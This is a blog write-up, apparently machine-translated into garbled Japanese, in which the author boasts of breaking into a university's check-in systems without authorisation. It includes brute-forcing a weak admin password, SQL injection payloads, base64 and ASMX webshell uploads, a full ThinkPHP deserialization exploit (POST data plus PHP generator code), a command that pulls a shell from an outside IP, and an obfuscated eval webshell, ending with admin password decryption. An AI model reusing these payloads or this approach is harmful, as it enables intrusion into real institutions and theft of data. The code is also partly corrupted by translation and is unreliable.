Jump to content

0x01はじめに

流行により、学校のYibanアプリはチェックインシステムを追加しました。これには、毎日朝の検査と午後の検査が必要です。忘れてしまうと、レビューする何千もの単語があります。

私はこの「形式主義」に深く不満を感じています。私はたまたまサイバーセキュリティチームを設立したので、それを操作する準備をしました。

0x02スポット

基本情報収集についてはあまり言いません

したがって、異なるシステムは複数のサーバーを使用します

それは完全に解決できないようです。コアシステムを獲得するには、さまざまなシステムとサーバーの素晴らしい学校システムの浸透の旅が必要です。

次に、コアシステムにタッチします

まず、「Yiban」システムのホームページを開き、これがどのように見えるかです

1049983-20220106104200012-153190839.jpg

開発者がTPフレームワークを使用し、さまざまなTP注射をテストしたことを確認することは難しくありません。

RCEのペイロードは失敗に終わりました、そして、安全性の認識はそれほど悪くないようです

ドメイン名の下のホームページは、機能的なポイントや情報なしで完全にエラー報告ページです

saying sayingにあるように、情報収集の品質は浸透の成功または失敗を直接決定するので、私たちは決して不注意であってはなりません。

最初にファズの第1レベルのディレクトリに来てみましょう

Image

結果は非常に優れており、多くのカタログと機能ポイントがあります。

次に、各第1レベルのディレクトリのセカンダリディレクトリを曖昧にし続け、ドメイン名の下に展開されている機能ポイントを常に探求しました。

第1レベルのディレクトリが多すぎるため、詳細については写真には行きません。

機能的なポイントを理解した後、ズボンを脱いで乾燥を開始します

0x03メンタルヘルスシステムの浸透(IISショートファイル名ポートポート - ブラストニューログインポートアプロード)

第1レベルのカタログを爆破し、爆破します

http://xxx.xxx.edu.cn/psyこのパス

心理教育の健康システムが展開され、ミドルウェアがIISであることがわかった

ただし、メンタルヘルスシステムのログインには検証コードメカニズムがあり、検証コードを識別するのは簡単ではありません

Image

私はすぐにIISショートファイル名機能について考えました

次に、IISショートファイル名ディレクトリスキャンツールを使用します

(https://github.com/lijiejie/iis_shortname_scanner)スキャン用

Image

他のシステムの古いログインポートを取得します

http://xxx.xxx.edu.cn/psy/login2.aspx

Image

図に示されているように、検証コードメカニズムはありません

直接げっぷクラスター爆弾型爆発

他のシステムの弱いパスワード管理者AA123456を正常に取得しました

ただし、古いシステムの他のページが削除されており、通常はバックグラウンドにログインできません

Image

しかし、古いシステムと新しいシステムで使用されているのと同じデータベースが推測されています

新しいシステムへのアクセス

http://xxx.xxx.edu.cn/psy/login.aspx

パスワード管理者、AA123456を使用して、正常にログインします

Image

バックグラウンドでアップロードポイントを検索します

Image

アップロードポイントはです

http://xxx.xxx.edu.cn/psy/scalemanage/scaleedit.aspx?scalelistid=1

スケールプラットフォームに追加されたトピックは、任意のファイルにアップロードされます

(そうです、このアップロードポイント.それは非常に隠されていると言えます.それを見つけるのに長い時間がかかりました)

Image

ASPXのアップロードは不可解にジャンプします。 ASPは解析せず、ASMX馬を直接通過します。

AWVS 10のデバッグモジュールを介してコマンドを実行します

Image

許可はネットサービスです

CobaltStrikeを使用して、PowerShellを直接POWERSHELLに移動します

Image

パッチは死んでいるようです。

さまざまな地元の権利昇進が一度開始されましたが、役に立たなかった

comコンポーネントは、ジャガイモが装着された後も育てることさえできません。最初にこれをしましょう。右を上げる場合は、追加してください。

メンタルヘルスシステムは、初期の買収を発表しました

0x04ライブブロードキャストシステムインターフェイスインジェクション

ライブブロードキャストシステムに入った後、使用する意味がなく、開発はまだ完了していないことがわかりました。

Image

しかし、げっぷで、私はajaxインターフェイスのリクエストを見つけました、

HTTPリクエストは次のように:です

post /index.php/live/index/seat_ajax.html http/1.1

host: xxx.xxx.edu.cn

Content-Length: 24

Accept:/

Origin:http://xxx.xxx.edu.cn

X-Requested With: xmlhttprequest

user-agent: mozilla/5.0(linux; u; android 5.1; zh-cn; 1501_m02 build/lmy47d)applewebkit/534.30(khtml、ygecko)バージョン/4.0 ucbrowser/11.0.0.0.818 U3/0.8.0モバイルSaf/534.30

Content-Type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Referer:http://xxx.xxx.edu.cn/index.php/live/index/seat?place_id=10active_id=20

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8

Cookie3360 ASP.NET_SESSIONID=S0CLWRGINZ0RW3X0SMTWTSGG; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a

Connection:閉じます

place_id=10active_id=20

Image

sqliペイロードを見つけるためにファズをします

Image

両方のIDパラメーターには、組合注入があります

Image

ペイロードを構築します

)null、null、null、null、null()、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null - null、null、null、null、null、null、null、

図に示すように、current_user情報が正常に取得されました。

'_root@10.40.0.22

ペイロードを構築します

place_id=10)null、null、null、null、group_concat(schema_name)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null from information _schema.schemata-- ne neqyactive_id=20

Image

ここでは、他のテーブル、列、データを実証しません。文を書いても大丈夫です、それはとても簡単です。

その後、他のシステムに多くのライブラリが関与していることがわかりましたが、私が最も望んでいたコアシステムのライブラリは見つかりませんでした。

0x05鈍いb64アップロード

ファズ関数ポイントの後、私は許可なしに写真をアップロードできる場所を見つけました

http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html

Image

Image

data:image/jpegが発見されたときにjpeg画像をアップロードします

データをImage/PHPに直接変更し、アップロードされたコンテンツBase64をエンコードして送信します

Image

GetShellが成功し、システムの許可、権利のエスカレーションが救われました

Image

0x06コアシステム素晴らしい浸透(nday desarialization +コマンド実行バイパス +条件付き競争の膨張)

検索、寒くて捨てられた、悲惨で悲惨な、最終的に「Yiban」を制御するコアシステムを見つけました

http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree

Image

勝利はあなたの目の前にあります.あなたは眠らないとしても彼を殺さなければなりません

あらゆる種類のファズとさまざまな操作が一緒に配置されましたが、私はそれが役に立たないことがわかりました、そして、私はまだ毎日行きませんでした。

あきらめるべきですか?不可能、これは私たちのスタイルではありません

ページJSを注意深くチェックしていたとき、私はそのような興味深い情報を見つけました

Image

私の目が明るくなりました、いまいましいシンカドミン、前に洗練されたnadがありました、それを手配しましょう!

http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree

Postdata:

ルール=a%3a2%3a%7bi%3a0%3bo%3a17%3a%22think%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22% 3a1%3bs%3a19%3a%22%00think%5cmodel%00 exists%22%3bb%3a1%3bs%3a13%3a%22%00think%5cmodel% 2%00%2a%00 -connection%22%3bs%3a5%3a%22Mysql%22%3bs%3a7%3a%22%00%2a%00Name%22%3BO%3a17%3a%22thi nk%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22%3bb%3a1%3bs%3a19%3a %22%00think%5cmodel%00 Exists%22%3bb%3a1%3bs%3a13%3a%22%00%2a%00connection%22%3bs%3a5%3a%22mys QL%22%3bs%3a7%3a%22%00%2a%00Name%22%3bs%3a0%3a%22%22%3bs%3a21%3a%22%00think%5cmodel%00withattr %22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22System%22%3b%7ds%3a9%3a%22%00%2a%00hidden%22 %3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmodel%00data% 22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00withent %22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00フォース%22%3bb%3a1%3bs%3a8%3a%22%00%2a Ba%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7ds%3a21%3a%22%00think%5cmodel% 00 withattr%22%3ba%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22%22%3b%7ds%3a9%3a%22%00%2a%00隠し%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmod EL%00DATA%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00 withevent%22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00force%22%3bb%3a1%3bs%3a8%3a%22%00%2a%00f IELD%22%3BA%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7di%3a1%3bi%3a123%3b%7d //hoamiを実行します

Image

以下は、次のように脱審上のポップチェーンです

?php

名前空間思考;

Think \ model \ pivotを使用してください。

抽象クラスモデル{

private $ lazysave=false; # 保存()

private $が存在する=false; #updatedata()

保護された$接続。

保護された$ name; #__toString()conversion.php=pivot

private $ with withattr=[]; #アサート

保護された$ hidden=[];

private $ data=[];

保護$ withevent=false;

private $ force=false;

保護された$ field=[];

保護された$ schema=[];

function __construct(){

$ this-lazysave=true;

$ this-exists=true;

$ this-withevent=false;

$ this-force=true;

$ this-connection='mysql';

$ this-withattr=['test'='system'];

$ this-data=['test'='whoami'];

$ this-hidden=['test'='123'];

$ this-field=[];

$ this-schema=[];

}

}

名前空間Think \ Model;

Think \ Modelを使用してください。

\#モデルは抽象クラスです。その継承クラスを見つけます。ここでは、ピボットクラスを選択します

クラスピボットはモデルを拡張します{

function __construct($ obj=''){

parent:__construct();

$ this-name=$ obj; #$ This-nameは値をサブクラスコンストラクターに入れ、ベースクラス属性を直接配置して成功せずに初期化します

}

}

$ a=new Pivot();

echo urlencode(serialize([new pivot($ a)、123]));Image

許可はシステムです、ハハハハハハハ、神も私を助けてくれます

しかし、私はEchoコマンドを使用してシェルを書くことに多くの問題に遭遇しました

コマンドはスペースを持つことができず、シェルはコマンドに直接記述されます。そうしないと、エラーが報告されます。

スペースは +に変換され、バックエンドはそれを認識できません

Image

永続的な手動テストの後、 /\はスペースの限界をバイパスできることがわかります

次に、スプライシングコマンドを使用して、書き込み検出をバイパスすることを実現します

しかし、ターゲットマシンにはWAFがあり、数秒後に通常のウェブシェルが殺されます。

なぜだめですか?条件付き競争を通じて直接殺さずにウェブシェルをダウンロードしてください

コンストラクターは、条件付き競争を通じて殺すことなくシェルをダウンロードします

echo/^^?phps1.phpecho/file_put_contents( 's2.php'、file_get_contents( 'http://49.x.x.x:8080/shell.txt'));^gt; gt; gt; s2.php

シェルの内容は次のとおりです

?php

関数テスト($ php_c0d3){

$ password='skr'; //envpwd

$ cr=preg_filter( '/\ s+/'、 ''、 'c h r');

$ bs64=preg_filter( '/\ s+/'、 ''、 'bas e64 _de cod e');

$ gzi=$ cr(103)。$ cr(122)。$ cr(105)。$ cr(110);

$ gzi。=$ cr(102)。$ cr(108)。$ cr(97)。$ cr(116)。$ cr(101);

$ c=$ bs64($ php_c0d3);

$ c=$ gzi($ c);

@eval($ c);

}

$ php_c0d3='s0lny8xl1vavzkjnyslilc5w11ebuex'。

'5RSMA1RXCKGWZEWM2KVFBROGHRSEH0UOGVLISUC'。

'yztqmiaatumvqspfnny1wqarli1wbpraxi1lleh'。

'a2exrgdszrwaa==';

テスト($ php_c0d3);

?ポップチェーンの降下により、ポストダタを生成します

直接電話してください

http://xxx.xxx.edu.cn/v4/public/s2.php

パスワードSKR

直接取ってください

Image

最後に、このチェックイン、レイトコール、出席コアシステム、管理者がライブラリに入り、管理者のパスワードを復号化しました

くそー、あなたはまだ私にレビューを書いてほしいですか?行ってたわごとを食べてください

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...